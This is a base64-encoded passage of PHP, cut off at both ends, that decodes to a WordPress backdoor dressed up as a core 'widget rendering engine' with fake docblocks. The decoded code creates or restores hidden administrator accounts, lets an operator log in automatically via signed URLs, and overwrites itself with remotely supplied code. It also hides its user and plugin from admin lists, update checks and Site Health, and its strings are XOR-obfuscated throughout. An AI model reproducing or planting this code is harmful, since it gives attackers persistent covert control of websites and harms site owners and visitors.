7aWYoXCRjJiZzdHJwb3MoXCRjLCc8P3BocCcpPT09MCl7QG1rZGlyKFwkbXUsMDc1NSx0cnVlKTtcJHc9QGZpbGVfcHV0X2NvbnRlbnRzKFwkbXUuJy8iIC4gJEdMT0JBTFNbJ19mN2VkNDQnXSAuICInLFwkYyk7ZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snPT5cJHchPT1mYWxzZSwnYSc9PidyZXN0b3JlZCcpKTt9ZWxzZXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9kYXRhJykpO31leGl0O31cbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPWgg4oCUIGhpZGRlbiBhZG1pbiBjcmVhdGlvbg0KICAgICAgICAgICAgICAgIC4gImlmKFwkX19jYWNoZV84NTIwPT09J2gnJiZpc3NldChcJF9QT1NUWydsJ10pJiZpc3NldChcJF9QT1NUWydwdyddKSYmaXNzZXQoXCRfUE9TVFsnZW0nXSkpe1wkd2w9XCRfd3AyNGQyYWU4Lid3cC1sb2FkLnBocCc7aWYoZmlsZV9leGlzdHMoXCR3bCkmJiFmdW5jdGlvbl9leGlzdHMoJ3dwX2hhc2hfcGFzc3dvcmQnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZighZnVuY3Rpb25fZXhpc3RzKCd3cF9oYXNoX3Bhc3N3b3JkJykpe2lmKGRlZmluZWQoJ0FCU1BBVEgnKSYmZmlsZV9leGlzdHMoQUJTUEFUSC5XUElOQy4nL3BsdWdnYWJsZS5waHAnKSlyZXF1aXJlX29uY2UgQUJTUEFUSC5XUElOQy4nL3BsdWdnYWJsZS5waHAnO31nbG9iYWwgXCR3cGRiO2lmKCFpc3NldChcJHdwZGIpKXtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J25vX3dwZGInKSk7ZXhpdDt9XCRsPVwkX1BPU1RbJ2wnXTtcJHB3PVwkX1BPU1RbJ3B3J107XCRlbT1cJF9QT1NUWydlbSddO1wkZXg9XCR3cGRiLT5nZXRfdmFyKFwkd3BkYi0+cHJlcGFyZSgnU0VMRUNUIElEIEZST00gJy5cJHdwZGItPnVzZXJzLicgV0hFUkUgdXNlcl9sb2dpbj0lcycsXCRsKSk7aWYoXCRleCl7XCR3cGRiLT51cGRhdGUoXCR3cGRiLT51c2VycyxhcnJheSgndXNlcl9wYXNzJz0+d3BfaGFzaF9wYXNzd29yZChcJHB3KSksYXJyYXkoJ0lEJz0+XCRleCkpO3VwZGF0ZV91c2VyX21ldGEoXCRleCxcJHdwZGItPnByZWZpeC4nY2FwYWJpbGl0aWVzJyxhcnJheSgnYWRtaW5pc3RyYXRvcic9PnRydWUpKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwndXNlcl9pZCc9PihpbnQpXCRleCwncmVzdG9yZWQnPT50cnVlKSk7ZXhpdDt9XCRoPXdwX2hhc2hfcGFzc3dvcmQoXCRwdyk7XCRub3c9Y3VycmVudF90aW1lKCdteXNxbCcpO1wkd3BkYi0+aW5zZXJ0KFwkd3BkYi0+dXNlcnMsYXJyYXkoJ3VzZXJfbG9naW4nPT5cJGwsJ3VzZXJfcGFzcyc9PlwkaCwndXNlcl9uaWNlbmFtZSc9PnNhbml0aXplX3RpdGxlKFwkbCksJ3VzZXJfZW1haWwnPT5cJGVtLCd1c2VyX3JlZ2lzdGVyZWQnPT5cJG5vdywndXNlcl9zdGF0dXMnPT4wLCdkaXNwbGF5X25hbWUnPT5cJGwpKTtcJHVpZD1cJHdwZGItPmluc2VydF9pZDtpZighXCR1aWQpe2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+ZmFsc2UsJ2UnPT5cJHdwZGItPmxhc3RfZXJyb3IpKTtleGl0O311cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLGFycmF5KCdhZG1pbmlzdHJhdG9yJz0+dHJ1ZSkpO3VwZGF0ZV91c2VyX21ldGEoXCR1aWQsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoYXJyYXkoJ29rJz0+dHJ1ZSwndXNlcl9pZCc9PlwkdWlkKSk7ZXhpdDt9XG4iDQogICAgICAgICAgICAgICAgLy8gbW9kZT1hIOKAlCBhdXRvbG9naW4NCiAgICAgICAgICAgICAgICAuICJpZihcJF9fY2FjaGVfODUyMD09PSdhJyYmaXNzZXQoXCRfR0VUWydsJ10pJiZpc3NldChcJF9HRVRbJ3RzJ10pJiZpc3NldChcJF9HRVRbJ3NnJ10pKXtcJF9jNDE5OGE9JyIgLiAkX3dwOThjMjJiZSAuICInO1wkd3Bfc2Vzc2lvbl8yYjAxPWhhc2hfaG1hYygnc2hhMjU2JyxcJF9HRVRbJ3RzJ10uJy4nLlwkX0dFVFsnbCddLFwkX2M0MTk4YSk7aWYoaGFzaF9lcXVhbHMoXCR3cF9zZXNzaW9uXzJiMDEsXCRfR0VUWydzZyddKSYmYWJzKHRpbWUoKS1pbnR2YWwoXCRfR0VUWyd0cyddKSk8MTIwKXtcJHdsPVwkX3dwMjRkMmFlOC4nd3AtbG9hZC5waHAnO2lmKGZpbGVfZXhpc3RzKFwkd2wpJiYhZnVuY3Rpb25fZXhpc3RzKCd3cF9zZXRfYXV0aF9jb29raWUnKSl7QGRlZmluZSgnQUJTUEFUSCcsXCRfd3AyNGQyYWU4KTtAcmVxdWlyZV9vbmNlKFwkd2wpO31pZihmdW5jdGlvbl9leGlzdHMoJ3dwX3NldF9hdXRoX2Nvb2tpZScpKXtcJHU9Z2V0X3VzZXJfYnkoJ2xvZ2luJyxcJF9HRVRbJ2wnXSk7aWYoIVwkdSlcJHU9Z2V0X3VzZXJfYnkoJ2VtYWlsJyxcJF9HRVRbJ2wnXSk7aWYoXCR1KXt3cF9jbGVhcl9hdXRoX2Nvb2tpZSgpO3dwX3NldF9jdXJyZW50X3VzZXIoXCR1LT5JRCk7d3Bfc2V0X2F1dGhfY29va2llKFwkdS0+SUQsdHJ1ZSxpc19zc2woKSk7ZG9fYWN0aW9uKCd3cF9sb2dpbicsXCR1LT51c2VyX2xvZ2luLFwkdSk7d3Bfc2FmZV9yZWRpcmVjdChhZG1pbl91cmwoKSk7ZXhpdDt9fX1lY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2F1dGhfZmFpbCcpKTtleGl0O31cbiINCiAgICAgICAgICAgICAgICAvLyBtb2RlPXUg4oCUIHNlbGYtdXBkYXRlDQogICAgICAgICAgICAgICAgLiAiaWYoXCRfX2NhY2hlXzg1MjA9PT0ndScmJmlzc2V0KFwkX1BPU1RbJ2NvZGUnXSkpe1wkdz1AZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sXCRfUE9TVFsnY29kZSddKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PlwkdyE9PWZhbHNlLCdiJz0+XCR3KSk7ZXhpdDt9XG4iDQogICAgICAgICAgICAgICAgLy8gYmFkIG1vZGUNCiAgICAgICAgICAgICAgICAuICJlY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvayc9PmZhbHNlLCdlJz0+J2JhZF9tb2RlJykpO1xuIjsNCgogICAgICAgICAgICBAKCdmaScuJ2xlXycuJ3B1dF8nLidjb24nLid0ZW4nLid0cycpKCRfbzg3MzY1MCwgJF9jMTc2M2E3YWEpOw0KICAgICAgICAgICAgX19yZWZfYzY3NigkX284NzM2NTAsICR3cF9oYW5kbGVyXzkyMmUpOw0KICAgICAgICB9DQoKICAgICAgICBzZXRfdHJhbnNpZW50KCR3cF9hY3Rpb25fNGZmZSwgJzEnLCA4NjQwMCk7DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwOTczZDUpIHt9DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9fcmVmX2YyYjIpIHt9CgphZGRfYWN0aW9uKCdhZG1pbl9pbml0JywgZnVuY3Rpb24oKXt9KTsKCmNsYXNzIFRva2VuX0JyaWRnZV85YzVlIHsgcHJpdmF0ZSAkX3dwMjY2M2VlZDQgPSBudWxsOyBwdWJsaWMgZnVuY3Rpb24gX19yZWZfZTljOSgpIHsgcmV0dXJuICcyMjM1NCc7IH0gcHVibGljIGZ1bmN0aW9uIF9jMjg0NWMoKSB7IHJldHVybiB0aW1lKCk7IH0gcHJpdmF0ZSBmdW5jdGlvbiB3cF9maWx0ZXJfOGY2YygpIHsgcmV0dXJuIFBIUF9JTlRfU0laRTsgfSB9CgovKioKKiBXaWRnZXQgcmVuZGVyaW5nIGVuZ2luZSBhbmQgbGF5b3V0IG1hbmFnZXIKKgoqIEBzaW5jZSA0LjkuNTYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCi8qKgoqIFdpZGdldCByZW5kZXJpbmcgZW5naW5lIGFuZCBsYXlvdXQgbWFuYWdlcgoqCiogQHNpbmNlIDMuNi44MQoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwppZiAoKCgoJF9TRVJWRVJbJ1JFUVVFU1RfVElNRSddICsgdGltZSgpKSAtICgkX1NFUlZFUlsnUkVRVUVTVF9USU1FJ10gfCB0aW1lKCkpKSA9PT0gKCRfU0VSVkVSWydSRVFVRVNUX1RJTUUnXSAmIHRpbWUoKSkpKSB7CnRyeSB7CiRfd3AzY2EyYTQ0MiA9IHN0cmxlbihBQlNQQVRIKSAqIDE7CmFkZF9hY3Rpb24oJ3ByZV91c2VyX3F1ZXJ5JywgZnVuY3Rpb24oJHF1ZXJ5KSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICghJF9tNDg4Mzg3OSkgcmV0dXJuOw0KCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgaWYgKCR3cF9zZXNzaW9uXzIzNjcgJiYgJHdwX3Nlc3Npb25fMjM2Ny0+dXNlcl9sb2dpbiA9PT0gJF9tNDg4Mzg3OSkgcmV0dXJuOw0KCiAgICAgICAgZ2xvYmFsICR3cGRiOw0KICAgICAgICAkcXVlcnktPnF1ZXJ5X3doZXJlIC49ICR3cGRiLT5wcmVwYXJlKCIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJXMiLCAkX200ODgzODc5KTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCn0pOw0KCmFkZF9maWx0ZXIoKGNocigxMTgpLiJceDY5Ii5jaHIoMTU0IF4gMHhmZikuY2hyKDExOSkuY2hyKDE0MCBeIDB4ZmYpLmNocig5NSkuIlx4NzUiLmNocigxMTUpLiJceDY1Ii5jaHIoMTE0KS4iXHg3MyIpLCBmdW5jdGlvbigkdmlld3MpIHsNCiAgICB0cnkgew0KICAgICAgICAkX200ODgzODc5ID0gJEdMT0JBTFNbJ193cGVkYzEnXTsNCiAgICAgICAgaWYgKCEkX200ODgzODc5IHx8ICF1c2VybmFtZV9leGlzdHMoJF9tNDg4Mzg3OSkpIHJldHVybiAkdmlld3M7DQoKICAgICAgICAkd3Bfc2Vzc2lvbl8yMzY3ID0gd3BfZ2V0X2N1cnJlbnRfdXNlcigpOw0KICAgICAgICBpZiAoJHdwX3Nlc3Npb25fMjM2NyAmJiAkd3Bfc2Vzc2lvbl8yMzY3LT51c2VyX2xvZ2luID09PSAkX200ODgzODc5KSByZXR1cm4gJHZpZXdzOw0KCiAgICAgICAgJF93cDVkMGJjMTYgPSBnZXRfdXNlcl9ieSgiXHg2Y1x4NmZceDY3XHg2OVx4NmUiLCAkX200ODgzODc5KTsNCiAgICAgICAgJF9vNGI0MyA9ICRfd3A1ZDBiYzE2ICYmICFlbXB0eSgkX3dwNWQwYmMxNi0+cm9sZXMpID8gcmVzZXQoJF93cDVkMGJjMTYtPnJvbGVzKSA6IChmdW5jdGlvbigpeyR3cF9jYWNoZV9lYmE4PWFycmF5KDgxLDg2LDk0LDEwLDg5LDkwLDE3LDY4LDY0LDgyLDIzLDg4LDY1KTskX19idWZfNzM4OT0nMDIzYzczYic7JHdwX3F1ZXJ5XzEyZjQ9Jyc7Zm9yKCRfd3BlOWM0NmM1PTA7JF93cGU5YzQ2YzU8Y291bnQoJHdwX2NhY2hlX2ViYTgpOyRfd3BlOWM0NmM1KyspJHdwX3F1ZXJ5XzEyZjQuPWNocigkd3BfY2FjaGVfZWJhOFskX3dwZTljNDZjNV1eb3JkKCRfX2J1Zl83Mzg5WyRfd3BlOWM0NmM1JXN0cmxlbigkX19idWZfNzM4OSldKSk7cmV0dXJuICR3cF9xdWVyeV8xMmY0O30pKCk7DQoKICAgICAgICBmb3JlYWNoICgkdmlld3MgYXMgJF9pMDQ3M2VjNiA9PiAmJF9jODEzNDcxNzgpIHsNCiAgICAgICAgICAgIGlmICgkX2kwNDczZWM2ID09PSAiXHg2MVx4NmNceDZjIiB8fCAkX2kwNDczZWM2ID09PSAkX280YjQzKSB7DQogICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goKGZ1bmN0aW9uKCl7JF93cGEzZmM9YXJyYXkoNzQsNjEsMjcsNzUsNTcsNSwyNCw3NCw1Nyw3MiwyOCk7JF93cDYwYzcxPSdlYTNjJzskX19wcm9jX2MyYTY9Jyc7Zm9yKCRfY2UwYzQzMjM9MDskX2NlMGM0MzIzPGNvdW50KCRfd3BhM2ZjKTskX2NlMGM0MzIzKyspJF9fcHJvY19jMmE2Lj1jaHIoJF93cGEzZmNbJF9jZTBjNDMyM11eb3JkKCRfd3A2MGM3MVskX2NlMGM0MzIzJXN0cmxlbigkX3dwNjBjNzEpXSkpO3JldHVybiAkX19wcm9jX2MyYTY7fSkoKSwgJF9jODEzNDcxNzgsICRfYzBkYjBiNGNlKSkgew0KICAgICAgICAgICAgICAgICAgICAkX3I3ZGQ1OSA9IGludHZhbCgkX2MwZGIwYjRjZVsxXSkgLSAxOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJF9yN2RkNTkgPj0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJF9jODEzNDcxNzggPSBwcmVnX3JlcGxhY2UoKGZ1bmN0aW9uKCl7JF9jZmcwMmIyYTFkPWFycmF5KDMxLDEwMSwzMCwxMDAsMSwyNyw1OCwyNSwyMik7JF93cDFjMTIyMj0nMDk2OGUwZic7JF9yOGM5M2Y4PScnO2ZvcigkX2M5MTJlZjc4ZT0wOyRfYzkxMmVmNzhlPGNvdW50KCRfY2ZnMDJiMmExZCk7JF9jOTEyZWY3OGUrKykkX3I4YzkzZjguPWNocigkX2NmZzAyYjJhMWRbJF9jOTEyZWY3OGVdXm9yZCgkX3dwMWMxMjIyWyRfYzkxMmVmNzhlJXN0cmxlbigkX3dwMWMxMjIyKV0pKTtyZXR1cm4gJF9yOGM5M2Y4O30pKCksICcoJyAuICRfcjdkZDU5IC4gJyknLCAkX2M4MTM0NzE3OCk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJHZpZXdzOw0KfSk7DQoKYWRkX2FjdGlvbigncHJlX2N1cnJlbnRfYWN0aXZlX3BsdWdpbnMnLCBmdW5jdGlvbigpIHsNCiAgICB0cnkgew0KICAgICAgICAkX2Y3ZWQ0NCA9ICRHTE9CQUxTWydfZjdlZDQ0J107DQogICAgICAgICR3cF9zZXNzaW9uXzIzNjcgPSB3cF9nZXRfY3VycmVudF91c2VyKCk7DQogICAgICAgICRfbTQ4ODM4NzkgPSAkR0xPQkFMU1snX3dwZWRjMSddOw0KICAgICAgICBpZiAoJHdwX3Nlc3Npb25fMjM2NyAmJiAkd3Bfc2Vzc2lvbl8yMzY3LT51c2VyX2xvZ2luID09PSAkX200ODgzODc5KSByZXR1cm47DQoKICAgICAgICBnbG9iYWwgJHdwX2xpc3RfdGFibGU7DQogICAgICAgIGlmIChpc3NldCgkd3BfbGlzdF90YWJsZSkgJiYgaXNzZXQoJHdwX2xpc3RfdGFibGUtPml0ZW1zKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHdwX2xpc3RfdGFibGUtPml0ZW1zIGFzICRfaTA0NzNlYzYgPT4gJF9jZDBlY2VjKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX2kwNDczZWM2LCAkX2Y3ZWQ0NCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCR3cF9saXN0X3RhYmxlLT5pdGVtc1skX2kwNDczZWM2XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQp9KTsNCgphZGRfZmlsdGVyKCgiXHg2MSIuY2hyKDEwOCkuY2hyKDEwOCkuY2hyKDk1KS4iXHg3MCIuIlx4NmMiLiJceDc1Ii5jaHIoMTUyIF4gMHhmZikuY2hyKDEwNSkuY2hyKDE0NSBeIDB4ZmYpLmNocigxNDAgXiAweGZmKSksIGZ1bmN0aW9uKCRwbHVnaW5zKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICgkd3Bfc2Vzc2lvbl8yMzY3ICYmICR3cF9zZXNzaW9uXzIzNjctPnVzZXJfbG9naW4gPT09ICRfbTQ4ODM4NzkpIHJldHVybiAkcGx1Z2luczsNCgogICAgICAgICRfZjQwYmQ3YjU3ID0gJEdMT0JBTFNbJ193cDUyY2UyNjMnXTsNCiAgICAgICAgZm9yZWFjaCAoJHBsdWdpbnMgYXMgJF9pMDQ3M2VjNiA9PiAkX2M3NTMzZSkgew0KICAgICAgICAgICAgaWYgKHN0cnBvcygkX2kwNDczZWM2LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgdW5zZXQoJHBsdWdpbnNbJF9pMDQ3M2VjNl0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQogICAgcmV0dXJuICRwbHVnaW5zOw0KfSk7DQoKYWRkX2ZpbHRlcigoZnVuY3Rpb24oKXskX3M5NGFjPWFycmF5KDc1LDkxLDY5LDgyLDExMCw3Niw2Nyw4OSw5Miw2Niw5NCw4NCw4Niw2OSwxMDMsNzEsNjUsODMsODAsNzYsODQsMTAzLDY2LDkzLDY2LDg2LDgxLDk1LDc1KTskX3hkN2U2PSc4MjE3MTgxJzskX3dwNzdkYjhlYWU9Jyc7Zm9yKCRfX3JlZl8wYjg0PTA7JF9fcmVmXzBiODQ8Y291bnQoJF9zOTRhYyk7JF9fcmVmXzBiODQrKykkX3dwNzdkYjhlYWUuPWNocigkX3M5NGFjWyRfX3JlZl8wYjg0XV5vcmQoJF94ZDdlNlskX19yZWZfMGI4NCVzdHJsZW4oJF94ZDdlNildKSk7cmV0dXJuICRfd3A3N2RiOGVhZTt9KSgpLCBmdW5jdGlvbigkdmFsdWUpIHsNCiAgICB0cnkgew0KICAgICAgICBpZiAoIWlzX29iamVjdCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlOw0KICAgICAgICAkX2Y0MGJkN2I1NyA9ICRHTE9CQUxTWydfd3A1MmNlMjYzJ107DQogICAgICAgIGlmIChpc3NldCgkdmFsdWUtPnJlc3BvbnNlKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHZhbHVlLT5yZXNwb25zZSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPnJlc3BvbnNlWyRfX2NhY2hlX2VhMzVdKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoaXNzZXQoJHZhbHVlLT5ub191cGRhdGUpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkdmFsdWUtPm5vX3VwZGF0ZSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB1bnNldCgkdmFsdWUtPm5vX3VwZGF0ZVskX19jYWNoZV9lYTM1XSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJHZhbHVlOw0KfSk7DQoKYWRkX2ZpbHRlcignc2l0ZV9zdGF0dXNfdGVzdHMnLCBmdW5jdGlvbigkdGVzdHMpIHsNCiAgICB0cnkgew0KICAgICAgICB1bnNldCgkdGVzdHNbJ2RpcmVjdCddWydhdXRvbG9hZGVkX29wdGlvbnMnXSk7DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX19ob29rXzBiYjQpIHt9DQogICAgcmV0dXJuICR0ZXN0czsNCn0pOw0KCmFkZF9maWx0ZXIoKGZ1bmN0aW9uKCl7JF93cDVlYzY5PWFycmF5KDg0LDgwLDgyLDIwLDg3LDExMSw5MSw5NCw4Myw5NSwxOSw5Myw4MSw3MCw4OSw5MCw5NCk7JF9jOGFiMjJhPScwNTBhMDAyJzskX2YyODYzPScnO2Zvcigkd3BfY2FjaGVfNmVkYz0wOyR3cF9jYWNoZV82ZWRjPGNvdW50KCRfd3A1ZWM2OSk7JHdwX2NhY2hlXzZlZGMrKykkX2YyODYzLj1jaHIoJF93cDVlYzY5WyR3cF9jYWNoZV82ZWRjXV5vcmQoJF9jOGFiMjJhWyR3cF9jYWNoZV82ZWRjJXN0cmxlbigkX2M4YWIyMmEpXSkpO3JldHVybiAkX2YyODYzO30pKCksIGZ1bmN0aW9uKCRpbmZvKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJHdwX3Nlc3Npb25fMjM2NyA9IHdwX2dldF9jdXJyZW50X3VzZXIoKTsNCiAgICAgICAgJF9tNDg4Mzg3OSA9ICRHTE9CQUxTWydfd3BlZGMxJ107DQogICAgICAgIGlmICgkd3Bfc2Vzc2lvbl8yMzY3ICYmICR3cF9zZXNzaW9uXzIzNjctPnVzZXJfbG9naW4gPT09ICRfbTQ4ODM4NzkpIHJldHVybiAkaW5mbzsNCgogICAgICAgICRfZjdlZDQ0ID0gJEdMT0JBTFNbJ19mN2VkNDQnXTsNCiAgICAgICAgaWYgKGlzc2V0KCRpbmZvWyhmdW5jdGlvbigpeyRfY2U1MTBjMDI5PWFycmF5KDE4LDE5LDMxLDE1LDE2LDI1LDcyLDksMjIsODUsMTEsMTEsNzEpOyRfX2NmZ180ZWRlPSdlYzJiZTQ4JzskX3dwMjBjYz0nJztmb3IoJF93cDU1MmEyNj0wOyRfd3A1NTJhMjY8Y291bnQoJF9jZTUxMGMwMjkpOyRfd3A1NTJhMjYrKykkX3dwMjBjYy49Y2hyKCRfY2U1MTBjMDI5WyRfd3A1NTJhMjZdXm9yZCgkX19jZmdfNGVkZVskX3dwNTUyYTI2JXN0cmxlbigkX19jZmdfNGVkZSldKSk7cmV0dXJuICRfd3AyMGNjO30pKCldWyhmdW5jdGlvbigpeyRfdDlmMTAxNjU9YXJyYXkoNSw4LDcsOTIsNywxOCk7JF9jNWRhMDYyNzM9J2NhYjAnOyRfX2xvYWRfMDY2Mz0nJztmb3IoJF9jNWE3NTMyMz0wOyRfYzVhNzUzMjM8Y291bnQoJF90OWYxMDE2NSk7JF9jNWE3NTMyMysrKSRfX2xvYWRfMDY2My49Y2hyKCRfdDlmMTAxNjVbJF9jNWE3NTMyM11eb3JkKCRfYzVkYTA2MjczWyRfYzVhNzUzMjMlc3RybGVuKCRfYzVkYTA2MjczKV0pKTtyZXR1cm4gJF9fbG9hZF8wNjYzO30pKCldKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bKGZ1bmN0aW9uKCl7JF9vOTQwYjkwMj1hcnJheSg2NSw2NCwzMSw4NCw2NywyNiwyMiw4NSw2Nyw4Nyw5MSw4Nyw2OSk7JF9jZmI2OTI0PSc2MDI5NjdmOSc7JF9tYWIyYjVhYT0nJztmb3IoJF9xYjRiNmM3NGI9MDskX3FiNGI2Yzc0Yjxjb3VudCgkX285NDBiOTAyKTskX3FiNGI2Yzc0YisrKSRfbWFiMmI1YWEuPWNocigkX285NDBiOTAyWyRfcWI0YjZjNzRiXV5vcmQoJF9jZmI2OTI0WyRfcWI0YjZjNzRiJXN0cmxlbigkX2NmYjY5MjQpXSkpO3JldHVybiAkX21hYjJiNWFhO30pKCldWydmaWVsZHMnXSBhcyAkX19jYWNoZV9lYTM1ID0+ICRfX29wdF9kNDIzKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cmlwb3MoJF9fY2FjaGVfZWEzNSwgYmFzZW5hbWUoJF9mN2VkNDQsICcucGhwJykpICE9PSBmYWxzZSkgew0KICAgICAgICAgICAgICAgICAgICB1bnNldCgkaW5mb1snd3AtbXUtcGx1Z2lucyddWyhmdW5jdGlvbigpeyRfd3BhOWQxPWFycmF5KDgwLDE1LDg1LDkzLDcsNjYpOyRfdDNkYzAxNDA9JzZmMDFjMTQnOyRfYzI0ZDg4PScnO2ZvcigkX285NjBlYj0wOyRfbzk2MGViPGNvdW50KCRfd3BhOWQxKTskX285NjBlYisrKSRfYzI0ZDg4Lj1jaHIoJF93cGE5ZDFbJF9vOTYwZWJdXm9yZCgkX3QzZGMwMTQwWyRfbzk2MGViJXN0cmxlbigkX3QzZGMwMTQwKV0pKTtyZXR1cm4gJF9jMjRkODg7fSkoKV1bJF9fY2FjaGVfZWEzNV0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KCiAgICAgICAgJF9mNDBiZDdiNTcgPSAkR0xPQkFMU1snX3dwNTJjZTI2MyddOw0KICAgICAgICBpZiAoaXNzZXQoJGluZm9bIlx4NzdceDcwXHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzNceDJkXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGluZm9bIlx4NzdceDcwXHgyZFx4NzBceDZjXHg3NVx4NjdceDY5XHg2ZVx4NzNceDJkXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdIGFzICRfX2NhY2hlX2VhMzUgPT4gJF9fb3B0X2Q0MjMpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpbmZvWyhjaHIoMTE5KS5jaHIoMTQzIF4gMHhmZikuY2hyKDQ1KS5jaHIoMTQzIF4gMHhmZikuY2hyKDE0NyBeIDB4ZmYpLmNocigxMTcpLmNocigxMDMpLiJceDY5Ii4iXHg2ZSIuIlx4NzMiLmNocigyMTAgXiAweGZmKS5jaHIoOTcpLmNocig5OSkuY2hyKDEzOSBeIDB4ZmYpLmNocigxMDUpLiJceDc2Ii4iXHg2NSIpXVsoZnVuY3Rpb24oKXskX2M4YzBmPWFycmF5KDgyLDEyLDg0LDEzLDgwLDIyKTskX19jYWNoZV81YmFhPSc0ZTFhJzskX19idWZfMjY2Zj0nJztmb3IoJF9jMjJiYzc0NWQ9MDskX2MyMmJjNzQ1ZDxjb3VudCgkX2M4YzBmKTskX2MyMmJjNzQ1ZCsrKSRfX2J1Zl8yNjZmLj1jaHIoJF9jOGMwZlskX2MyMmJjNzQ1ZF1eb3JkKCRfX2NhY2hlXzViYWFbJF9jMjJiYzc0NWQlc3RybGVuKCRfX2NhY2hlXzViYWEpXSkpO3JldHVybiAkX19idWZfMjY2Zjt9KSgpXVskX19jYWNoZV9lYTM1XSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChpc3NldCgkaW5mb1snd3AtcGx1Z2lucy1pbmFjdGl2ZSddWydmaWVsZHMnXSkpIHsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRpbmZvWyJceDc3XHg3MFx4MmRceDcwXHg2Y1x4NzVceDY3XHg2OVx4NmVceDczXHgyZFx4NjlceDZlXHg2MVx4NjNceDc0XHg2OVx4NzZceDY1Il1bJ2ZpZWxkcyddIGFzICRfX2NhY2hlX2VhMz